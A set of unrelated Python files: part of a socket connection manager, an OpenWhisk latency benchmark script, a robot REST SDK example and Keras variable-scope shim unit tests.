head_len = get_message_head_len()
req_head_dict = parse_head(req_str[:head_len])
return req_head_dict
def _parse_req_head_proto_info(selfs, req_str):
head_len = get_message_head_len()
proto_info = parse_proto_info(req_str[:head_len])
return proto_info
def _get_conn(self, conn_id):
with self._lock:
for sock, sel_key in self._selector.get_map().items():
if sel_key.fileobj == self._r_sock:
continue
conn = sel_key.data
if conn.conn_id == conn_id:
return conn
return None
def _on_read(self, conn):
start_time = time.time()
recv_len = 0
buf_len = 0
if conn.status == ConnStatus.Closed:
return
err = None
is_closed = False
try:
data = conn.sock.recv(32 * 1024)
if data == b'':
is_closed = True
else:
conn.readbuf.extend(data)
recv_len = len(data)
buf_len = len(conn.readbuf)
except Exception as e:
if not is_socket_exception_wouldblock(e):
err = str(e)
while len(conn.readbuf) > 0:
head_len = get_message_head_len()
if len(conn.readbuf) < head_len:
break
head_dict = parse_head(conn.readbuf[:head_len])
body_len = head_dict['body_len']
if len(conn.readbuf) < head_len + body_len:
break
rsp_body = conn.readbuf[head_len:head_len+body_len]
del conn.readbuf[:head_len+body_len]
self._on_packet(conn, head_dict, Err.Ok.code, '', rsp_body)
if is_closed:
self.close(conn.conn_id)
conn.handler.on_error(conn.conn_id, Err.ConnectionClosed.text)
elif err:
self.close(conn.conn_id)
conn.handler.on_error(conn.conn_id, err)
# end_time = time.time()
# logger.debug2(FTLog.ONLY_FILE, 'conn_id={}; elapsed={}; recv_len={}; buf_len={}; packet={};'.format(conn.conn_id, end_time-start_time, recv_len, buf_len, packet_count))
def _on_write(self, conn):
if conn.status == ConnStatus.Closed:
return
elif conn.status == ConnStatus.Connecting:
err = conn.sock.getsockopt(socket.SOL_SOCKET, socket.SO_ERROR)
self._watch_write(conn, False)
if err != 0:
conn.handler.on_error(conn.conn_id, errno.errorcode[err])
else:
conn.status = ConnStatus.Connected
conn.handler.on_connected(conn.conn_id)
return
err = None
size = 0
try:
if len(conn.writebuf) > 0:
size = conn.sock.send(conn.writebuf)
except Exception as e:
if not is_socket_exception_wouldblock(e):
err = str(e)
if size > 0:
del conn.writebuf[:size]
if len(conn.writebuf) == 0:
self._watch_write(conn, False)
if err:
self.close(conn.conn_id)
conn.handler.on_error(conn.conn_id, err)
def _on_connect_timeout(self, conn):
conn.handler.on_connect_timeout(conn.conn_id)
def _on_packet(self, conn, head_dict, err_code, msg, rsp_body_data):
"""
:param conn:
:type conn: Connection
:param head_dict:
:param err_code:
:param msg:
:param rsp_body_data:
:return:
"""
proto_info = ProtoInfo(head_dict['proto_id'], head_dict['serial_no'])
rsp_pb = None
if err_code == Err.Ok.code:
ret_decrypt, msg_decrypt, rsp_body = decrypt_rsp_body(rsp_body_data, head_dict, conn.opend_conn_id, conn.is_encrypt)
if ret_decrypt == RET_OK:
rsp_pb = binary2pb(rsp_body, head_dict['proto_id'], head_dict['proto_fmt_type'])
else:
err_code = Err.PacketDataErr.code
msg = msg_decrypt
rsp_pb = None
log_msg = 'Recv: conn_id={}; proto_id={}; serial_no={}; data_len={}; msg={};'.format(conn.conn_id,
proto_info.proto_id,
proto_info.serial_no,
len(
rsp_body_data) if rsp_body_data else 0,
msg)
if err_code == Err.Ok.code:
logger.debug2(FTLog.ONLY_FILE, log_msg)
else:
logger.warning(log_msg)
ret_code = RET_OK if err_code == Err.Ok.code else RET_ERROR
sync_rsp_info = conn.sync_req_dict.get(proto_info, None) # type: SyncReqRspInfo
conn.req_dict.pop(proto_info, None)
if sync_rsp_info:
sync_rsp_info.ret, sync_rsp_info.msg, sync_rsp_info.data = ret_code, msg, rsp_pb
sync_rsp_info.event.set()
conn.sync_req_dict.pop(proto_info)
else:
conn.handler.on_packet(conn.conn_id, proto_info, ret_code, msg, rsp_pb)
@staticmethod
def extract_rsp_pb(opend_conn_id, head_dict, rsp_body):
ret, msg, rsp = decrypt_rsp_body(rsp_body, head_dict, opend_conn_id)
if ret == RET_OK:
rsp_pb = binary2pb(rsp_body, head_dict['proto_id'], head_dict['proto_fmt_type'])
else:
rsp_pb = None
return ret, msg, rsp_pb
def set_conn_info(self, conn_id, info):
with self._lock:
conn = self._get_conn(conn_id)
if conn is not None:
conn.opend_conn_id = info.get('conn_id', conn.opend_conn_id)
conn.keep_alive_interval = info.get('keep_alive_interval', conn.keep_alive_interval)
else:
return RET_ERROR, Err.ConnectionLost.text
return RET_OK, ''
|
run.py | import os
import threading
import time
import sys, getopt
def client(i,results,loopTimes):
print("client %d start" %i)
command = "./single-cold_warm.sh -R -t " + str(loopTimes)
r = os.popen(command)
text = r.read()
results[i] = text
print("client %d finished" %i)
def warmup(i,warmupTimes,actionName,params):
for j in range(warmupTimes):
r = os.popen("wsk -i action invoke %s %s --result --blocking" %(actionName,params))
text = r.read()
print("client %d warmup finished" %i)
def main():
argv = getargv()
clientNum = argv[0]
loopTimes = argv[1]
warmupTimes = argv[2]
threads = []
containerName = "complexruby"
actionName = "complex-ruby"
params = ""
r = os.popen("docker stop `docker ps | grep %s | awk {'print $1'}`" %containerName)
r.read()
# First: warm up
for i in range(clientNum):
t = threading.Thread(target=warmup,args=(i,warmupTimes,actionName,params))
threads.append(t)
for i in range(clientNum):
threads[i].start()
for i in range(clientNum):
threads[i].join()
print("Warm up complete")
# Second: invoke the actions
# Initialize the results and the clients
threads = []
results = []
for i in range(clientNum):
results.append('')
# Create the clients
for i in range(clientNum):
t = threading.Thread(target=client,args=(i,results,loopTimes))
threads.append(t)
# start the clients
for i in range(clientNum):
threads[i].start()
for i in range(clientNum):
threads[i].join()
outfile = open("result.csv","w")
outfile.write("invokeTime,startTime,endTime\n")
latencies = []
minInvokeTime = 0x7fffffffffffffff
maxEndTime = 0
for i in range(clientNum):
# get and parse the result of a client
clientResult = parseResult(results[i])
# print the result of every loop of the client
for j in range(len(clientResult)):
outfile.write(clientResult[j][0] + ',' + clientResult[j][1] + \
',' + clientResult[j][2] + '\n')
# Collect the latency
latency = int(clientResult[j][-1]) - int(clientResult[j][0])
latencies.append(latency)
# Find the first invoked action and the last return one.
if int(clientResult[j][0]) < minInvokeTime:
minInvokeTime = int(clientResult[j][0])
if int(clientResult[j][-1]) > maxEndTime:
maxEndTime = int(clientResult[j][-1])
formatResult(latencies,maxEndTime - minInvokeTime, clientNum, loopTimes, warmupTimes)
def parseResult(result):
lines = result.split('\n')
parsedResults = []
for line in lines:
if line.find("invokeTime") == -1:
continue
parsedTimes = ['','','']
i = 0
count = 0
while count < 3:
while i < len(line):
if line[i].isdigit():
parsedTimes[count] = line[i:i+13]
i += 13
count += 1
continue
i += 1
parsedResults.append(parsedTimes)
return parsedResults
def getargv():
if len(sys.argv) != 3 and len(sys.argv) != 4:
print("Usage: python3 run.py <client number> <loop times> [<warm up times>]")
exit(0)
if not str.isdigit(sys.argv[1]) or not str.isdigit(sys.argv[2]) or int(sys.argv[1]) < 1 or int(sys.argv[2]) < 1:
print("Usage: python3 run.py <client number> <loop times> [<warm up times>]")
print("Client number and loop times must be an positive integer")
exit(0)
if len(sys.argv) == 4:
if not str.isdigit(sys.argv[3]) or int(sys.argv[3]) < 1:
print("Usage: python3 run.py <client number> <loop times> [<warm up times>]")
print("Warm up times must be an positive integer")
exit(0)
else:
return (int(sys.argv[1]),int(sys.argv[2]),1)
return (int(sys.argv[1]),int(sys.argv[2]),int(sys.argv[3]))
def formatResult(latencies,duration,client,loop,warmup):
requestNum = len(latencies)
latencies.sort()
duration = float(duration)
# calculate the average latency
total = 0
for latency in latencies:
total += latency
print("\n")
print("------------------ result ---------------------")
averageLatency = float(total) / requestNum
_50pcLatency = latencies[int(requestNum * 0.5) - 1]
_75pcLatency = latencies[int(requestNum * 0.75) - 1]
_90pcLatency = latencies[int(requestNum * 0.9) - 1]
_95pcLatency = latencies[int(requestNum * 0.95) - 1]
_99pcLatency = latencies[int(requestNum * 0.99) - 1]
print("latency (ms):\navg\t50%\t75%\t90%\t95%\t99%")
print("%.2f\t%d\t%d\t%d\t%d\t%d" %(averageLatency,_50pcLatency,_75pcLatency,_90pcLatency,_95pcLatency,_99pcLatency))
print("throughput (n/s):\n%.2f" %(requestNum / (duration/1000)))
# output result to file
resultfile = open("eval-result.log","a")
resultfile.write("\n\n------------------ (concurrent)result ---------------------\n")
resultfile.write("client: %d, loop_times: %d, warup_times: %d\n" % (client, loop, warmup))
resultfile.write("%d requests finished in %.2f seconds\n" %(requestNum, (duration/1000)))
resultfile.write("latency (ms):\navg\t50%\t75%\t90%\t95%\t99%\n")
resultfile.write("%.2f\t%d\t%d\t%d\t%d\t%d\n" %(averageLatency,_50pcLatency,_75pcLatency,_90pcLatency,_95pcLatency,_99pcLatency))
resultfile.write("throughput (n/s):\n%.2f\n" %(requestNum / (duration/1000)))
main() |
example4_robotRestSDK_threading.py | import logging
import time
import threading
import simplepybotsdk
logging.basicConfig(level=logging.WARNING, filename='log.log', format='%(asctime)s %(levelname)s %(name)s: %(message)s')
SOCKET_HOST = "localhost" # Use "0.0.0.0" for external connection
SOCKET_PORT = 65432
REST_HOST = "localhost" # Use "0.0.0.0" for external connection
REST_PORT = 8000
robot = None
thread_communications = None
def communication_handler():
time.sleep(5)
while True:
print(robot.get_robot_dict_status())
time.sleep(3)
if __name__ == "__main__":
print("simplepybotsdk version is", simplepybotsdk.__version__)
robot = simplepybotsdk.RobotRESTSDK(
config_path="example_webots_khr2hv.json",
socket_host=SOCKET_HOST,
socket_port=SOCKET_PORT,
rest_host=REST_HOST,
rest_port=REST_PORT,
robot_speed=1
)
robot.rest_configure()
robot.rest_serve_forever()
# Start communication thread
thread_communications = threading.Thread(target=communication_handler, args=())
thread_communications.daemon = True
thread_communications.start()
print("Waiting for commands...")
k = "ciao"
while k != "stop":
k = input("Type 'stop' to stop: ")
|
variable_scope_shim_test.py | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Tests for variable store."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import gc
import threading
from absl.testing import parameterized
from keras import models
from keras import regularizers
from keras.engine import base_layer
from keras.engine import input_layer as input_layer_module
from keras.engine import training as training_module
from keras.layers import core
from keras.legacy_tf_layers import core as core_layers
from keras.legacy_tf_layers import variable_scope_shim
from keras.testing_infra import test_combinations
import numpy
import tensorflow as tf
from tensorflow.python.framework import test_util as tf_test_utils
from tensorflow.python.ops import variable_scope
def run_inside_wrap_function_in_eager_mode(graph_function):
"""Decorator to execute the same graph code in eager and graph modes.
In graph mode, we just execute the graph_function passed as argument. In eager
mode, we wrap the function using wrap_function and then execute the wrapped
result.
Args:
graph_function: python function containing graph code to be wrapped
Returns:
decorated function
"""
def wrap_and_execute(self):
store = variable_scope_shim._EagerVariableStore()
with variable_scope.with_variable_store(store):
# use the original function
graph_function(self)
return wrap_and_execute
class VariableScopeTest(tf.test.TestCase):
def tearDown(self):
gc.collect()
# This will only contain uncollectable garbage, i.e. reference cycles
# involving objects with __del__ defined.
self.assertEqual(0, len(gc.garbage))
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testGetVar(self):
vs = variable_scope._get_default_variable_store()
v = vs.get_variable("v", [1])
v1 = vs.get_variable("v", [1])
self.assertIs(v, v1)
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testNameExists(self):
vs = variable_scope._get_default_variable_store()
# No check by default, so we can both create and get existing names.
v = vs.get_variable("v", [1])
v1 = vs.get_variable("v", [1])
self.assertIs(v, v1)
self.assertIsNot(v, vs.get_variable("u", [1], reuse=False))
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testNamelessStore(self):
vs = variable_scope._get_default_variable_store()
vs.get_variable("v1", [2])
vs.get_variable("v2", [2])
expected_names = ["%s:0" % name for name in ["v1", "v2"]]
self.assertEqual(
set(expected_names), set(v.name for v in vs._vars.values()))
# TODO(mihaimaruseac): Not converted to use wrap_function because of
# TypeError: Expected tf.group() expected Tensor arguments not 'None' with
# type '<type 'NoneType'>'
@tf_test_utils.run_in_graph_and_eager_modes
def testVarScopeInitializer(self):
init = tf.compat.v1.constant_initializer(0.3)
with tf.compat.v1.variable_scope("tower0") as tower:
with tf.compat.v1.variable_scope("foo", initializer=init):
v = tf.compat.v1.get_variable("v", [])
self.evaluate(tf.compat.v1.variables_initializer([v]))
self.assertAllClose(self.evaluate(v.value()), 0.3)
with tf.compat.v1.variable_scope(tower, initializer=init):
w = tf.compat.v1.get_variable("w", [])
self.evaluate(tf.compat.v1.variables_initializer([w]))
self.assertAllClose(self.evaluate(w.value()), 0.3)
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testVarScopeConstraint(self):
constraint = lambda x: 0. * x
with tf.compat.v1.variable_scope("tower1") as tower:
with tf.compat.v1.variable_scope("foo", constraint=constraint):
v = tf.compat.v1.get_variable("v", [])
self.assertIsNotNone(v.constraint)
with tf.compat.v1.variable_scope(tower, constraint=constraint):
w = tf.compat.v1.get_variable("w", [])
self.assertIsNotNone(w.constraint)
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testVarScopeDType(self):
with tf.compat.v1.variable_scope("tower2") as tower:
with tf.compat.v1.variable_scope("foo", dtype=tf.float16):
v = tf.compat.v1.get_variable("v", [])
self.assertEqual(v.dtype.base_dtype, tf.float16)
with tf.compat.v1.variable_scope(tower, dtype=tf.float16):
w = tf.compat.v1.get_variable("w", [])
self.assertEqual(w.dtype.base_dtype, tf.float16)
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testInitFromNonTensorValue(self):
v = tf.compat.v1.get_variable("v4", initializer=4, dtype=tf.int32)
self.evaluate(tf.compat.v1.variables_initializer([v]))
self.assertAllClose(self.evaluate(v.value()), 4)
w = tf.compat.v1.get_variable(
"w4", initializer=numpy.array([1, 2, 3]), dtype=tf.int64)
self.evaluate(tf.compat.v1.variables_initializer([w]))
self.assertAllClose(self.evaluate(w.value()), [1, 2, 3])
# A quirk to be revisited?
error = ValueError if tf.executing_eagerly() else TypeError
with self.assertRaises(error):
tf.compat.v1.get_variable("x4", initializer={})
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testInitFromNonInitializer(self):
# Test various dtypes with zeros initializer as following:
types = [
tf.int8, tf.uint8, tf.int16, tf.uint16, tf.int32,
tf.int64, tf.bool
]
# Use different variable_name to distinguish various dtypes
for (i, dtype) in enumerate(types):
x = tf.compat.v1.get_variable(
name="xx%d" % i, shape=(3, 4), dtype=dtype)
y = tf.compat.v1.get_variable(
name="yy%d" % i,
shape=(3, 4),
dtype=dtype,
initializer=tf.compat.v1.zeros_initializer(dtype=dtype))
self.evaluate(tf.compat.v1.global_variables_initializer())
self.assertAllEqual(self.evaluate(x.value()), self.evaluate(y.value()))
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testVarScopeRegularizer(self):
init = tf.compat.v1.constant_initializer(0.3)
def regularizer1(v):
return tf.reduce_mean(v) + 0.1
def regularizer2(v):
return tf.reduce_mean(v) + 0.2
with tf.compat.v1.variable_scope(
"tower3", regularizer=regularizer1) as tower:
with tf.compat.v1.variable_scope("foo", initializer=init):
v = tf.compat.v1.get_variable("v", [])
self.evaluate(tf.compat.v1.variables_initializer([v]))
with tf.compat.v1.variable_scope(tower, initializer=init) as vs:
tf.compat.v1.get_variable("u", [])
vs.set_regularizer(regularizer2)
tf.compat.v1.get_variable("w", [])
# Next 3 variable not regularized to test disabling regularization.
tf.compat.v1.get_variable(
"x", [], regularizer=tf.compat.v1.no_regularizer)
with tf.compat.v1.variable_scope(
"baz", regularizer=tf.compat.v1.no_regularizer):
tf.compat.v1.get_variable("y", [])
vs.set_regularizer(tf.compat.v1.no_regularizer)
tf.compat.v1.get_variable("z", [])
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testInitializeFromValue(self):
init = tf.constant(0.1)
w = tf.compat.v1.get_variable("v", initializer=init)
self.evaluate(tf.compat.v1.variables_initializer([w]))
self.assertAllClose(self.evaluate(w.value()), 0.1)
with self.assertRaisesRegex(ValueError, "shape"):
# We disallow explicit shape specification when initializer is constant.
tf.compat.v1.get_variable("u", [1], initializer=init)
with tf.compat.v1.variable_scope("foo", initializer=init):
# Constant initializer can be passed through scopes if needed.
v = tf.compat.v1.get_variable("v")
self.evaluate(tf.compat.v1.variables_initializer([v]))
self.assertAllClose(self.evaluate(v.value()), 0.1)
# Check that non-float32 initializer creates a non-float32 variable.
init = tf.constant(1, dtype=tf.int32)
t = tf.compat.v1.get_variable("t", initializer=init)
self.assertEqual(t.dtype.base_dtype, tf.int32)
# Raise error if `initializer` dtype and `dtype` are not identical.
with self.assertRaisesRegex(ValueError, "don't match"):
tf.compat.v1.get_variable("s", initializer=init, dtype=tf.float64)
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testVarScopeGetOrCreateReuse(self):
with self.cached_session():
def test_value(value):
x = tf.constant(value)
with tf.compat.v1.variable_scope(
"testVarScopeGetOrCreateReuse_bar",
reuse=tf.compat.v1.AUTO_REUSE):
_ = tf.compat.v1.assign(tf.compat.v1.get_variable("var", []), x)
with tf.compat.v1.variable_scope(
"testVarScopeGetOrCreateReuse_bar",
reuse=tf.compat.v1.AUTO_REUSE):
_ = tf.compat.v1.get_variable("var", [])
self.assertEqual(value, self.evaluate(x))
test_value(42.) # Variable is created.
test_value(13.) # Variable is reused hereafter.
test_value(17.)
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testVarScopeGetOrCreateReuseIgnoreFalse(self):
with self.cached_session():
def test_value(value):
x = tf.constant(value)
with tf.compat.v1.variable_scope(
"testVarScopeGetOrCreateReuse_bar",
reuse=False):
_ = tf.compat.v1.assign(tf.compat.v1.get_variable("var", []), x)
# We need to ignore reuse=False in the shim, because the
# code is expected to get rerun each time the user calls the shim.
with tf.compat.v1.variable_scope(
"testVarScopeGetOrCreateReuse_bar",
reuse=False):
_ = tf.compat.v1.get_variable("var", [])
self.assertEqual(value, self.evaluate(x))
test_value(42.) # Variable is created.
test_value(13.) # Variable is reused hereafter.
test_value(17.)
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testVarOpScope(self):
with self.cached_session():
with tf.name_scope("testVarOpScope1"):
with tf.compat.v1.variable_scope("tower", "default", []):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "tower/w:0")
with tf.name_scope("testVarOpScope2"):
with tf.compat.v1.variable_scope(None, "default", []):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "default/w:0")
with tf.compat.v1.variable_scope(None, "default", []):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "default_1/w:0")
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testVarOpScopeUniqueNamesInterleavedSubstringScopes(self):
with self.cached_session():
with tf.compat.v1.variable_scope(None, "defaultScope1"):
with tf.compat.v1.variable_scope(None, "layer"):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name,
"defaultScope1/layer/w:0")
with tf.compat.v1.variable_scope(None, "defaultScope1"):
with tf.compat.v1.variable_scope(None, "layer"):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name,
"defaultScope1_1/layer/w:0")
with tf.compat.v1.variable_scope(None, "defaultScope"):
with tf.compat.v1.variable_scope(None, "layer"):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name,
"defaultScope/layer/w:0")
with tf.compat.v1.variable_scope(None, "defaultScope1"):
with tf.compat.v1.variable_scope(None, "layer"):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name,
"defaultScope1_2/layer/w:0")
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testVarOpScopeUniqueNamesWithJump(self):
with self.cached_session():
with tf.compat.v1.variable_scope("default") as default:
with tf.compat.v1.variable_scope(None, "layer"):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "default/layer/w:0")
with tf.compat.v1.variable_scope(None, "layer"):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name,
"default/layer_1/w:0")
with tf.compat.v1.variable_scope(default):
pass
# No matter the jump in the middle, unique numbering continues.
with tf.compat.v1.variable_scope(None, "layer"):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name,
"default/layer_2/w:0")
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testVarOpScopeReuse(self):
with self.cached_session():
with tf.compat.v1.variable_scope("outer") as outer:
with tf.compat.v1.variable_scope("tower", "default", []):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/tower/w:0")
with tf.compat.v1.variable_scope(None, "default", []):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/default/w:0")
with tf.compat.v1.variable_scope(outer, reuse=True) as outer:
with tf.compat.v1.variable_scope("tower", "default", []):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/tower/w:0")
with tf.compat.v1.variable_scope(None, "default", []):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/default/w:0")
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testVarScopeGetVar(self):
with self.cached_session():
with tf.compat.v1.variable_scope("root"):
with tf.compat.v1.variable_scope("towerA") as tower_a:
va = tf.compat.v1.get_variable("v", [1])
self.assertEqual(va.name, "root/towerA/v:0")
with tf.compat.v1.variable_scope(tower_a, reuse=True):
va2 = tf.compat.v1.get_variable("v", [1])
self.assertIs(va2, va)
with tf.compat.v1.variable_scope("towerB"):
vb = tf.compat.v1.get_variable("v", [1])
self.assertEqual(vb.name, "root/towerB/v:0")
with tf.compat.v1.variable_scope("towerA", reuse=True):
va2 = tf.compat.v1.get_variable("v", [1])
self.assertIs(va2, va)
with tf.compat.v1.variable_scope("foo"):
with tf.compat.v1.variable_scope("bar"):
v = tf.compat.v1.get_variable("v", [1])
self.assertEqual(v.name, "root/foo/bar/v:0")
with tf.compat.v1.variable_scope(tower_a, reuse=True):
va3 = tf.compat.v1.get_variable("v", [1])
self.assertIs(va, va3)
with self.assertRaises(ValueError) as exc:
with tf.compat.v1.variable_scope(tower_a, reuse=True):
tf.compat.v1.get_variable("v", [2]) # Different shape.
self.assertEqual("shape" in str(exc.exception), True)
with self.assertRaises(ValueError) as exc:
with tf.compat.v1.variable_scope(tower_a, reuse=True):
tf.compat.v1.get_variable("v", [1], dtype=tf.int32)
self.assertEqual("dtype" in str(exc.exception), True)
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testVarScopeOuterScope(self):
with self.cached_session():
with tf.compat.v1.variable_scope("outer") as outer:
pass
with tf.compat.v1.variable_scope(outer):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/w:0")
with tf.compat.v1.variable_scope("default"):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/default/w:0")
with tf.compat.v1.variable_scope(outer, reuse=True):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/w:0")
with tf.compat.v1.variable_scope("default", reuse=True):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/default/w:0")
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testVarScopeNestedOuterScope(self):
with self.cached_session():
with tf.compat.v1.variable_scope("outer") as outer:
with tf.compat.v1.variable_scope(outer):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/w:0")
with tf.compat.v1.variable_scope("default"):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/default/w:0")
with tf.compat.v1.variable_scope(outer, reuse=True):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/w:0")
with tf.compat.v1.variable_scope("default", reuse=True):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/default/w:0")
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testVarOpScopeReuseParam(self):
with self.cached_session():
with tf.compat.v1.variable_scope("outer") as outer:
with tf.compat.v1.variable_scope("tower", "default", []):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/tower/w:0")
with tf.compat.v1.variable_scope(None, "default", []):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/default/w:0")
with tf.compat.v1.variable_scope(outer) as outer:
with tf.compat.v1.variable_scope("tower", "default", reuse=True):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/tower/w:0")
outer.reuse_variables()
with tf.compat.v1.variable_scope(None, "default", []):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/default/w:0")
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testVarOpScopeReuseError(self):
with self.cached_session():
with self.assertRaises(ValueError):
with tf.compat.v1.variable_scope(None, "default", reuse=True):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/tower/w:0")
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testVarOpScopeOuterScope(self):
with self.cached_session():
with tf.compat.v1.variable_scope("outer") as outer:
pass
with tf.compat.v1.variable_scope(outer, "default", []):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/w:0")
with tf.compat.v1.variable_scope(None, "default", []):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/default/w:0")
with tf.compat.v1.variable_scope(outer, "default", reuse=True):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/w:0")
outer.reuse_variables()
with tf.compat.v1.variable_scope(None, "default", []):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/default/w:0")
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testVarOpScopeNestedOuterScope(self):
with self.cached_session():
with tf.compat.v1.variable_scope("outer") as outer:
with tf.compat.v1.variable_scope(outer, "default", []):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/w:0")
with tf.compat.v1.variable_scope(None, "default", []):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/default/w:0")
with tf.compat.v1.variable_scope(outer, "default", reuse=True):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/w:0")
with tf.compat.v1.variable_scope(None, "default", []):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/default/w:0")
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testBasicWhenAuxiliaryNameScopeIsFalse(self):
with self.cached_session():
with tf.compat.v1.variable_scope(
"scope", auxiliary_name_scope=False) as scope:
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "scope/w:0")
with tf.compat.v1.variable_scope(scope, auxiliary_name_scope=False):
self.assertEqual(
tf.compat.v1.get_variable("w1", []).name, "scope/w1:0")
with tf.compat.v1.variable_scope("outer"):
with tf.compat.v1.variable_scope(
"inner", auxiliary_name_scope=False) as inner:
self.assertEqual(inner.original_name_scope, "outer/")
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/inner/w:0")
with tf.compat.v1.variable_scope(
inner, auxiliary_name_scope=False) as inner1:
self.assertEqual(inner1.original_name_scope, "outer/")
self.assertEqual(
tf.compat.v1.get_variable("w1", []).name, "outer/inner/w1:0")
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testCreatedByDefaultNameWhenAuxiliaryNameScopeIsFalse(self):
with self.cached_session():
with tf.compat.v1.variable_scope(
None, default_name="default", auxiliary_name_scope=False):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "default/w:0")
with tf.compat.v1.variable_scope("outer"):
with tf.compat.v1.variable_scope(
None, default_name="default",
auxiliary_name_scope=False) as inner:
self.assertEqual(inner.original_name_scope, "outer/")
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/default/w:0")
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testReenterRootScopeWhenAuxiliaryNameScopeIsFalse(self):
with self.cached_session():
root_scope = tf.compat.v1.get_variable_scope()
with tf.compat.v1.variable_scope(
root_scope, auxiliary_name_scope=False):
self.assertEqual(tf.compat.v1.get_variable("w", []).name, "w:0")
with tf.compat.v1.variable_scope("outer"):
with tf.compat.v1.variable_scope(
root_scope, auxiliary_name_scope=False) as inner:
self.assertEqual(inner.original_name_scope, "")
self.assertEqual(tf.compat.v1.get_variable("w1", []).name, "w1:0")
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testAuxiliaryNameScopeIsInvalid(self):
with self.cached_session():
with self.assertRaisesRegex(TypeError, "auxiliary_name_scope"):
with tf.compat.v1.variable_scope(
None, default_name="scope", auxiliary_name_scope="invalid"):
pass
with self.assertRaisesRegex(TypeError, "auxiliary_name_scope"):
with tf.compat.v1.variable_scope(
"scope", auxiliary_name_scope="invalid"):
pass
with tf.compat.v1.variable_scope("scope") as scope:
pass
with self.assertRaisesRegex(TypeError, "auxiliary_name_scope"):
with tf.compat.v1.variable_scope(
scope, auxiliary_name_scope="invalid"):
pass
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
